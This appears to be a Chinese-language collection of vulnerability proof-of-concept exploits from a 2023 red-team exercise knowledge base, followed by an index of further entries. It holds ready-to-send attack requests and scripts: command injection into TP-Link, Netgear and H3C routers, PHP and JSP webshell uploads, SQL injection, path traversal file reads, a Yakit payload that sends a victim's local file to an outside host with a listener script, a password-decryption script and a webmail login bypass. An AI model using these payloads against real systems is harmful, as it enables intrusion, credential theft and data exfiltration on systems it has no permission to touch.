GET /UJOGPJXBZUFEBUDB/userRpm/WlanNetworkRpm.htm?ssid1=;reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=5&chanWidth=1&channel=9&rate=59&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
4
Host: 192.168.0.1
5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7
Accept-Language: en-US,en;q=0.5
8
Accept-Encoding: gzip, deflate
9
Connection: keep-alive
10
Referer: http://192.168.0.1/KMODQNKANSQJBYFA/userRpm/WlanNetworkRpm.htm
11
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
12
Upgrade-Insecure-Requests: 1

1
The PoC of TL-WR841N V8 is as follows:
2

3
GET /userRpm/WlanNetworkRpm.htm?ssid1=a;reboot&ssid2=TP-LINK_000000_2&ssid3=TP-LINK_000000_3&ssid4=TP-LINK_000000_4&region=101&band=0&mode=3&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
4
Host: 0.0.0.0:49168
5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
7
Accept-Language: en-US,en;q=0.5
8
Accept-Encoding: gzip, deflate
9
Authorization: Basic YWRtaW46YWRtaW4=
10
Connection: close
11
Referer: http://0.0.0.0:49168/userRpm/WlanNetworkRpm.htm
12
Cookie: Authorization=
13
Upgrade-Insecure-Requests: 1

1
The PoC of TL-WR841N V10 is as follows:
2

3
GET /GWIDNCGBKQNKXJXB/userRpm/WlanNetworkRpm.htm?ssid1=a;reboot;&ssid2=TP-LINK_0000_2&ssid3=TP-LINK_0000_3&ssid4=TP-LINK_0000_4&region=101&band=0&mode=5&chanWidth=2&channel=15&rate=71&ap=1&broadcast=2&brlssid=&brlbssid=&addrType=1&keytype=1&wepindex=1&authtype=1&keytext=&Save=Save HTTP/1.1
4
Host: 127.0.0.1:8081
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8
Accept-Encoding: gzip, deflate
9
Connection: keep-alive
10
Referer: http://127.0.0.1:8081/GWIDNCGBKQNKXJXB/userRpm/WlanNetworkRpm.htm
11
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
12
Upgrade-Insecure-Requests: 1

126、Netgear D/R系列路由命令执行漏洞（CVE-2023-33533/CVE-2023-33532)

1
# Exploit Title: Router Netgear-R6250 - RCE
2
# Date: 12-5-2023
3
# Exploit Author: d2y6p
4
# Firmware: R6250V1.0.4.48
5
# CVE: N/A
6

7
#!/usr/bin/python3
8

9
import requests
10
import base64
11
import re
12

13
target = input("Enter Target IP : ")
14
username = input("Enter Target username : ")
15
passwd = input("Enter Target passwd : ")
16
cmd = input("Enter you want cmd : ")
17

18
username_passwd = username + ":" + passwd
19
auth = base64.b64encode(username_passwd.encode('utf-8')).decode("utf-8")
20
print(auth)
21

22
#request 1 : get XSRF_TOKEN
23
burp0_url = "http://" + target + ":80/IPV6_fixed.htm"
24
burp0_cookies = {"XSRF_TOKEN": "2267229739"}
25
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic 123123", "Connection": "close", "Referer": "http://" + target + "/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}
26
response1 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
27

28
if 'Set-Cookie' in response1.headers:
29
set_cookie = response1.headers['Set-Cookie']
30
print(f'The Set-Cookie value is: {set_cookie}')
31
else:
32
print('No Set-Cookie field in the response header')
33

34
pattern = r'(?<=\=)([^;]*)'
35
XSRF_TOKEN = re.findall(pattern, set_cookie)[0]
36
print(XSRF_TOKEN)
37

38
#request 2 : get csrf_id
39
burp0_cookies = {"XSRF_TOKEN": XSRF_TOKEN}
40
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Authorization": "Basic " + auth, "Connection": "close", "Referer": "http://" + target + "/IPV6_disable.htm", "Upgrade-Insecure-Requests": "1"}
41
response2 = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
42
pattern = r'cgi\?id=([\w\d]+)'
43
csrf_id = re.search(pattern, response2.text).group(1)
44
print("csrf_id is :" + csrf_id)
45

46
#request 3 : send payload
47
burp0_url = "http://" + target + ":80/ipv6_fix.cgi?id=" + csrf_id
48
burp0_data = {"apply": "Apply", "login_type": "Fixed", "IPv6WanAddr1": "2001", "IPv6WanAddr2": "3CA2", "IPv6WanAddr3": "010F", "IPv6WanAddr4": "00A1", "IPv6WanAddr5": "121C", "IPv6WanAddr6": "0000", "IPv6WanAddr7": "0000", "IPv6WanAddr8": "0010", "ProfixWanLength": "6", "IPv6Gateway1": "2001", "IPv6Gateway2": "3CA2", "IPv6Gateway3": "010F", "IPv6Gateway4": "00A1", "IPv6Gateway5": "121C", "IPv6Gateway6": "0000", "IPv6Gateway7": "0000", "IPv6Gateway8": "0002", "DAddr1": '', "DAddr2": '', "DAddr3": '', "DAddr4": '', "DAddr5": '', "DAddr6": '', "DAddr7": '', "DAddr8": '', "PDAddr1": '', "PDAddr2": '', "PDAddr3": '', "PDAddr4": '', "PDAddr5": '', "PDAddr6": '', "PDAddr7": '', "PDAddr8": '', "IpAssign": "auto", "IPv6LanAddr1": "3113", "IPv6LanAddr2": "3CA2", "IPv6LanAddr3": "010F", "IPv6LanAddr4": "001A", "IPv6LanAddr5": "121B", "IPv6LanAddr6": "0000", "IPv6LanAddr7": "0000", "IPv6LanAddr8": "0001", "ProfixLanLength": "6", "ipv6_wan_ipaddr": "$(" + cmd + ")", "ipv6_lan_ipaddr": "3113:3CA2:010F:001A:121B:0000:0000:0001", "ipv6_wan_length": "6", "ipv6_lan_length": "6", "ipv6_pri_dns": ":::::::", "ipv6_sec_dns": ":::::::", "ipv6_wan_gateway": "aaa", "ipv6_enable_dhcp": '', "ipv6_proto": "fixed"}
49
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/plain", "Origin": "http://" + target, "Authorization": "Basic " + auth, "Connection": "close", "Referer": "http://" + target + "/VLAN_IPTV.htm", "Upgrade-Insecure-Requests": "1"}
50

51
response3 = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
52

53
print('end!!!')

127、泛微oa代码执行

1
描述和影响范围
2
Weaver E-Office9版本存在代码问题漏洞，该漏洞源于文件/inc/jquery/uploadify/uploadify.php存在问题，对参数Filedata的操作会导致不受限制的上传。
3
Weaver E-Office9.0

POC or EXP

1
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
2
Host: 192.168.232.137:8082
3
User-Agent: test
4
Connection: close
5
Content-Length: 493
6
Accept-Encoding: gzip
7
Content-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
8

9
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
10
Content-Disposition: form-data; name="Filedata"; filename="666.php"
11
Content-Type: application/octet-stream
12

13
<?php phpinfo();?>
14

15
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--
16
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
17
Content-Disposition: form-data; name="file"; filename=""
18
Content-Type: application/octet-stream
19

20
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--

128、冰蝎客户端RCE与任意文件读取漏洞

1
https://mp.weixin.qq.com/s/vuDgJZnwktM4EEAwfH6UEA

129、泛微9 sql注入

1
(1)/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1  //参数RUN_ID
2
(2)/E-mobile/flowdo_page.php?diff=delete&flowid=1  //参数flowid
3
(3)/E-mobile/flowsorce_page.php?flowid=2
4
(4)/E-mobile/flownext_page.php?diff=candeal&detailid=2
5
(5)/E-mobile/flowimage_page.php?FLOW_ID=2
6
(6)/E-mobile/flowform_page.php?FLOW_ID=2
7
(7)/E-mobile/diaryother_page.php?searchword=23
8
(8)/E-mobile/create/ajax_do.php?diff=word&sortid=1       //参数sortid
9
(9)/E-mobile/create/ajax_do.php?diff=word&idstr=2       //参数idstr
10
(10)/E-mobile/flow/freeflowimg.php?RUN_ID=1
11
(11)/E-mobile/create/ajax_do.php?diff=addr&sortid=1     //参数sortid
12
(12)/E-mobile/create/ajax_do.php?diff=addr&userdept=1  //参数userdept
13
(13)/E-mobile/create/ajax_do.php?diff=addr&userpriv=1 //参数userpriv
14
(14)/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1  //参数idstr
15
(15)/E-mobile/flow/flowhave_page.php?detailid=2,3
16
(16)/E-mobile/flow/flowtype_free.php?flowid=1
17
(17)/E-mobile/flow/flowtype_free.php?runid=1
18
(18)/E-mobile/flow/flowtype_other.php?flowid=1
19
(19)/E-mobile/flow/flowtype_other.php?runid=1
20
(20)/E-mobile/flow/freeflowimage_page.php?fromid=2
21
(21)/E-mobile/flow/freeflowimage_page.php?diff=new&runid=2  //参数runid

130、HIKVISION 视频编码设备接入网关 showFile.php 任意文件下载漏洞

1
<?php
2
          $file_name = $_GET['fileName'];
3
          $file_path = '../../../log/'.$file_name;
4
          $fp = fopen($file_path, "r");
5
          while($line = fgets($fp)){
6
            $line = nl2br(htmlentities($line, ENT_COMPAT, "utf-8"));
7
            echo '<span style="font-size:16px">'.$line.'</span>';
8
          }
9
          fclose($fp);
10
?>

1
/serverLog/showFile.php?fileName=../web/html/main.php

131、yakit任意文件读取

1
详情可参考原文 有截图复现
2
原文链接：https://mp.weixin.qq.com/s/IQekVs-UU2Slh6V_frpaug
3
前言：
4
yakit是近年新兴的一个BurpSuite平替工具，和burp的区别就在于数据包放过去不用配置ip端口协议这些，但是yakit跑起来感觉卡卡的，远不如burp那么流畅，近期yakit爆出了一个任意文件读取漏洞，此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件
5
触发版本：
6
引擎版本< Yaklang 1.2.4-sp2
7
漏洞条件：
8
使用yakit的MITM代理并且启用任意插件

1
Pyload:
2
<script>
3
  const xhr = new XMLHttpRequest();
4
  xhr.open("POST", "<http://yakit.com/filesubmit>");
5
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
6
  xhr.send(`file={{base64enc(file(C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts))}}`);
7
</script>

1
监听脚本
2
#! /bin/python3
3
import socket
4

5
# 监听地址和端口
6

7
host = '0.0.0.0'
8
port = 23800
9

10
# 创建socket服务器
11

12
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
14

15
# 绑定并监听端口
16

17
server.bind((host, port))
18
server.listen()
19

20
# 接收连接并监听请求
21

22
print("Listening...")
23
while True:
24
    # 接收客户端连接请求
25
    client, address = server.accept()
26
    print(f"Connected by {address}")
27

28
    # 读取客户端请求数据
29
    request = ''
30
    while True:
31
        input_data = client.recv(1024).decode('utf-8')
32
        request += input_data
33
        if len(input_data) < 1024:
34
            break
35

36
    # 提取请求头部
37
    headers = request.split('\\n')
38
    print("Received headers:")
39
    for header in headers:
40
        print(header)
41

42
    # 关闭客户端连接
43
    client.close()

复现开始：创建一个html页面并插入payload

1
启用MITM代理，不启用插件进行访问：
2
<https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wMXX7dh9j86aZ7JA0WMoxwHSDdAwnMVSZLoF09zuiamTpkibBtLto8y8KA/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1>
3
启用MITM代理并启用插件进行访问：
4
<https://mmbiz.qpic.cn/sz_mmbiz_png/OF9Ieq8TATc71LlcBt5FGOn2ibomGw7wM1RvwO5nnYhpX3aKZeCDdziaCEcOSDfbIcu2wNe27x7aTsPgBXo8KTsQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1>

原理：yakit默认不会对经过MITM代理的流量中的fuzztag进行解析，但是经过插件时会被解析，所以这也是利用限制。

132、百卓Smart S45F命令执行

1
构造URL ：/importhtml.php?type=exporthtmlmail&amp;tab=tb_RCtrlLog&amp;sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNjU2MzY4NmYyMDczNzk3Mzc0NjU2ZDI4MjQ1ZjUwNGY1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiM2YzZSBpbnRvIG91dGZpbGUgJy91c3IvaGRkb2NzL25zZy9hcHAvc3lzMS5waHAn
2

3
构造poc：
4
POST /app/sys1.php HTTP/1.1
5
Host: 60.22.74.195:8443
6
Cookie:
7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
10
Accept-Encoding: gzip, deflate
11
Upgrade-Insecure-Requests:
12
1Sec-Fetch-Dest:
13
documentSec-Fetch-Mode:
14
navigateSec-Fetch-Site:
15
noneSec-Fetch-User: ?1Te: trailers
16
Connection: close
17
Content-Type: application/x-www-form-url
18
encodedContent-Length: 6
19

20
cmd=id

1
POST /api/user/login
2

3
captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

134、泛微 E-Cology 某版本 SQL注入漏洞 POC

1
POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
4
Connection: close
5
Content-Length: 189
6
Content-Type: text/plain
7
Accept-Encoding: gzip
8

9
callCount=1
10
page=
11
httpSessionId=
12
scriptSessionId=
13
c0-scriptName=DocDwrUtil
14
c0-methodName=ifNewsCheckOutByCurrentUser
15
c0-id=0
16
c0-param0=string:1 AND 1=1
17
c0-param1=string:1
18
batchId=0

135、泛微Ecology OA 前台任意SQL语句执行

1
Condition: body="/js/ecology8" || body="wui/common/css/w7OVFont_wev8.css" || (body="weaver"
2
    &amp;&amp; body="ecology") || (header="ecology_JSessionId" &amp;&amp; body="login/Login.jsp")
3
    || body="/wui/index.html" || body="jquery_wev8"

1
relative: req0
2
  session: false
3
  requests:
4
  - method: GET
5
    timeout: 10
6
    path: /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20password%20as%20id%20from%20HrmResourceManager
7
    headers:
8
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
9
        Gecko) Chrome/62.0.2426.8 Safari/537.36
10
    follow_redirects: true
11
    matches: (code.eq("200") &amp;&amp; body.regex("[0-9A-F]{32}"))

136、致远oa 任意文件上传

1
POST
2
/seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/de.jsp&fileId=2
3
 HTTP/1.1
4
Host:
5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
6
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
7
Accept: */*
8
Referer:
9
Accept-Encoding: gzip, deflate
10
Accept-Language: zh-CN,zh;q=0.9
11
Cookie: JSESSIONID=5C25EFEF65A2B6A4C12848B88EA60639; loginPageURL=
12
Content-Type: multipart/form-data;
13
boundary=59229605f98b8cf290a7b8908b34616b
14
Accept-Encoding: gzip
15
Connection: close
16
Content-Length: 208
17

18
--59229605f98b8cf290a7b8908b34616b
19
Content-Disposition: form-data; name="upload"; filename="123.xls"
20
Content-Type: application/vnd.ms-excel
21

22
<% out.println("xxxx");%>
23
--59229605f98b8cf290a7b8908b34616b--

137、H3C多系列路由器存在前台RCE漏洞

1
h3c多个系列路由器存在安全漏洞
2

3
fofa：app="H3C-Ent-Router"

POC参考如下：

1
POST /goform/aspForm HTTP/1.1
2
Host: {{Hostname}}
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4
Connection: close
5
Content-Length: 68
6
Accept-Encoding: gzip, deflate
7
Content-Type: application/x-www-form-urlencoded
8
Referer: http://{{Hostname}}/userLogin.asp
9

10
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/test);
11
访问http://xxx/test

138、金蝶 EAS 系统存在目录遍历漏洞

1
漏洞描述
2
金蝶EAS Cloud基于云计算技术，为大型集团企业提供一体化、智能化的业务解决方案。 在EAS发现了一处目录遍历漏洞，可以直接遍历指定目录的内容。 经过分析与研判，该漏洞利用难度低，能够获取敏感信息，建议尽快修复。

1
详情信息：
2
/appmonitor/protected/selector/server_file/files?folder=C:%5C%5C&suffix=

139、帆软报表 V8 get_geo_json 任意文件读取漏洞

1
WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
2
获得账号密码后进行解密，解密脚本如下
3
解密脚本
4
cipher = 'XXXXXXXXXXX' #密文
5
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
6
Password = ""
7
cipher = cipher[3:]
8
for i in range(int(len(cipher) / 4)):
9
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
10
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
11
Password = Password + chr(c2)
12
print (Password)

140、WEBMAIL任意用户登录漏洞

1
/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin
2
回显是下面这个
3
"errorMsg":"64d880ce7b737912ccb1"
4
使用回显的 errormsg 作为密码，用户名为 admin 即可登录
5
使用手机验证码登录的打不了
6
显示 IP 受限的话添加头 X-Forwarded-For: 127.0.0.1 即可
7
如果有回显但登录失败的话，使用
8
/RmWeb/noCookiesMail?func=user:getPassword&userMailName=admin@+证书 or 根域名获取 errormsg 然后在登录就行了

141、联想网盘任意文件上传漏洞

1
POST /write?neid=1&hash=../../../../../../../dragonball/srv/tomcat/webapps/stream_server/ttt.txt&status=1 HTTP/1.1
2
Host:xxxx
3
Cache-Control:max-age=0
4
Sec-Ch-Ua:"Chromium";v="117", "Not;A=Brand";v="8"
5
Sec-Ch-Ua-Mobile:?0
6
Sec-Ch-Ua-Platform:"Windows"
7
Upgrade-Insecure-Requests:1
8
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
9
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10
Sec-Fetch-Site:none
11
Sec-Fetch-Mode:navigate
12
Sec-Fetch-User:?1
13
Sec-Fetch-Dest:document
14
Accept-Language:zh-CN,zh;q=0.9
15
Connection:close
16
Content-Type:application/octet-stream
17
Accept-Encoding:gzip, deflate
18
Content-Length:8
19

20
abcd

142、青藤云EDR权限提升漏洞，可提权到system权限

1
漏洞编号
2
无
3
影响产品
4
最新版
5
利用状态
6
在野利用（已公开poc）
7
漏洞详情
8
青藤云 EDR 存在权限提升漏洞，可提权到 system 权限。在 windows 下青藤在获取资产信息的时候，如何发现进程树中有 python 进程，它会尝试获取 python 版本，
9
获取的方法:
10
枚举进程找到进程名字"python.exe"的进程, 获取文件路径。
11
然后直接启动进程 [获取 python.exe 的路径] -V 获取输出。
12
青藤客户端本身是 System 权限，在启动进程时候没有进行降权处理,导致提权
13
漏洞。
14
青藤会定时的更新资产信息，所以此漏洞可以无需干预自动提权

1
青藤的测试 POC
2
local function save_python_info(ctx, info_table)
3
local proc_names = {"python.exe"}
4
local procs_ret = ctx.get_proc_list_info_rely(ctx, proc_names)
5
if next(procs_ret) == nil then
6
return
7
end
8
-- call get version
9
-- ... 省略无关代码
10
get_python_ver(proc)
11
-- ... 省略无关代码
12
end
13

14
function get_python_ver(proc)
15
if proc == nil then
16
return ""
17
end
18
if file_api.file_exists(proc.path) then
19
local cmdline = "\"" .. proc.path .. "\" -V"
20
local ret, output = common.execute_shell(cmdline)
21
if ret == 0 and output and output ~= "" then
22
return regex.match(output, "\\d.+\\d")
23
else
24
agent.error_log("get python version info error:" ..
25
tostring(ret))
26
return ""
27
end
28
end
29
end

dacj4n's

2023HW漏洞POC/EXP、情报汇总知识库

一、2023HW漏洞POC、EXP

1、致远oa rce

2、某神 SecGate 3600 防火墙 obj_app_upfile 任意文件上传漏洞

3、某达OA sql注入漏洞 CVE-2023-4166

4、某达OA sql注入漏洞 CVE-2023-4165 POC

5、某x服应用交付系统命令执行漏洞 POC

6、广联达oa sql注入漏洞 POC

7、某服 sxf-报表系统 版本有限制

8、某盟sas安全审计系统任意文件读取漏洞POC

9、某凌OA前台代码执行

10、金山WPS RCE

11、汉得SRM tomcat.jsp 登录绕过漏洞 POC

12、广联达oa 后台文件上传漏洞 POC

13、泛微Ecology未授权

14、泛微E-Office9文件上传漏洞 CVE-2023-2648 POC

15、某微E-Office9文件上传漏洞 CVE-2023-2523 POC

16、某信景云终端安全管理系统 login SQL注入漏洞 POC

17、安恒明御运维审计与风险控制系统堡垒机任意用户注册

18、HiKVISION 综合安防管理平台 report 任意文件上传漏洞 POC

19、HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC

20、Exchange Server远程代码执行漏洞（CVE-2023-38182）风险通告

21、Coremail远程代码执行漏洞（官方已辟谣）

22、某微 E-Cology 某版本 SQL注入漏洞 POC

23、某和OA C6-GetSqlData.aspx SQL注入漏洞 POC

24、大华智慧园区综合管理平台 searchJson SQL注入漏洞 POC

25、大华智慧园区综合管理平台 文件上传漏洞 POC

26、某友时空KSOA PayBill SQL注入漏洞 POC

27、绿盟 SAS堡垒机 local_user.php 任意用户登录漏洞 POC

28、某盟 SAS堡垒机 GetFile 任意文件读取漏洞 POC

29、绿盟 SAS堡垒机 Exec 远程命令执行漏洞 POC

30、某友 移动管理系 统 uploadApk.do 任意文件上传漏洞

31、启明天钥安全网关前台sql注入

32、用友M1server反序列化命令执行漏洞

33、启明星辰-4A 统一安全管控平台 getMater 信息泄漏

34、锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露

35、科荣 AIO 管理系统存在文件读取漏洞

36、飞企互联 FE 业务协作平台 magePath 参数文件读取漏洞

37、用友GRP-U8存在信息泄露

38、nginx配置错误导致的路径穿越风险

39、红帆OA zyy_AttFile.asmx SQL注入漏洞

40、Coremail 邮件系统未授权访问获取管理员账密

41、Milesight VPN server.js 任意文件读取漏洞

42、PigCMS action_flashUpload 任意文件上传漏洞

43、绿盟 NF 下一代防火墙 任意文件上传漏洞

44、金盘图书馆微信管理后台 getsysteminfo 未授权访问漏洞

45、Panel loadfile 后台文件读取漏洞

46、网御 ACM 上网行为管理系统bottomframe.cgi SQL 注入漏洞

47、广联达 Linkworks GetIMDictionarySQL 注入漏洞

48、用友文件服务器认证绕过

49、华天动力oa SQL注入

50、泛微 Weaver E-Office9 前台文件包含

51、企业微信（私有化版本）敏感信息泄露漏洞

52、帆软报表系统漏洞威胁反序列化

53、蓝凌EKP远程代码执行漏洞

54、Smartx超融合远程命令执行漏洞

55、Nacos-Sync未授权漏洞

56、360 新天擎终端安全管理系统信息泄露漏洞

57、锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

58、网神 SecSSL 3600安全接入网关系统 任意密码修改漏洞

59、Openfire身份认证绕过漏洞(CVE-2023-32315)

59、大华智慧园区综合管理平台 user_getUserInfoByUserName.action 任意密码读取漏洞

60、泛微 ShowDocsImagesql注入漏洞

61、宏景 HCM codesettree SQL 注入漏洞

61、用友时空 KSOATaskRequestServlet sql注入漏洞

62、用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入

63、用友畅捷通 T注入

64、宏景OA文件上传

65、金和OA 未授权

66、Kuboard默认口令

67、QAX-Vpn存在x遍历及任意账号密码修改漏洞

68、有用畅捷通T+GetStoreWarehouseByStore RCE漏洞

69、契约锁电子签章系统 RCE

70、任我行 CRM SmsDataList SQL注入漏洞

71、深信服数据中心管理系统 XML 实体注入漏洞

72、明源云 ERP ApiUpdate.ashx 文件上传漏洞

73、泛微 HrmCareerApplyPerView S Q L 注入漏洞

74、Metabase validate 远程命令执行漏洞（CVE-2023-38646）

75、KubePi JwtSigKey 登陆绕过漏洞（CVE-2023-22463）

7、某服 sxf-报表系统版本有限制

25、大华智慧园区综合管理平台文件上传漏洞 POC

30、某友移动管理系统 uploadApk.do 任意文件上传漏洞

43、绿盟 NF 下一代防火墙任意文件上传漏洞

58、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

93、CODING平台idna目录存在目录遍历漏洞